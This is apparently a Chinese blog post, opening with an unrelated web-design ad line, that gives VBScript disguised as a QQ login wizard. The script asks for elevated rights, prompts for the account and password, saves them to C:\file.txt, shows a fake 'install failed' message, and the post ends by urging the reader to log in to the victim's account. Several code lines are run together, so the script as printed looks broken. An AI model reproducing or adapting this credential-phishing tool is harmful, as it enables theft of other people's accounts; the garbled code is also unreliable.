专业建设网站制作1小时快速搭建网站

这个程序伪装成了QQ的登录向导，输入账号和密码，他会在C盘里创建一个名为file.txt的文件，第一行是账号，第三行是密码，话不多说，直接上代码！

Set WShell = WScript.CreateObject("WScript.Shell")
set fso =CreateObject("Scripting.FileSystemObject")
tFile = "C:\Windows\System32\drivers\etc\test.txt"
WShell.run("%comspec% /c echo 123> " & tFile), 0, True
if not fso.FileExists(tFile) thenCreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1WScript.Quit
elsefso.DeleteFile(tFile)
End if
dim a
dim b
a = inputbox("请输入账号","QQ登录向导")
b = inputbox("请输入密码","QQ登录向导")
Dim myVariable, objFSO, objFile' 设置变量值
myVariable=a
myVariableb=b' 创建文件系统对象
Set objFSO = CreateObject("Scripting.FileSystemObject")' 检查文件是否已存在，如果存在则删除
If objFSO.FileExists("C:\file.txt") ThenobjFSO.DeleteFile "C:\file.txt"
End If
msgbox("安装失败！请重新运行此setup！")' 创建新的文本文件
Set objFile = objFSO.CreateTextFile("C:\file.txt")' 写入变量内容到文本文件
objFile.WriteLine myVariable
objFile.WriteLine " "
objFile.WriteLine myVariableb
' 关闭文件
objFile.Close' 释放对象
Set objFile = Nothing
Set objFSO = Nothing

然后登陆他的号，接着你懂得........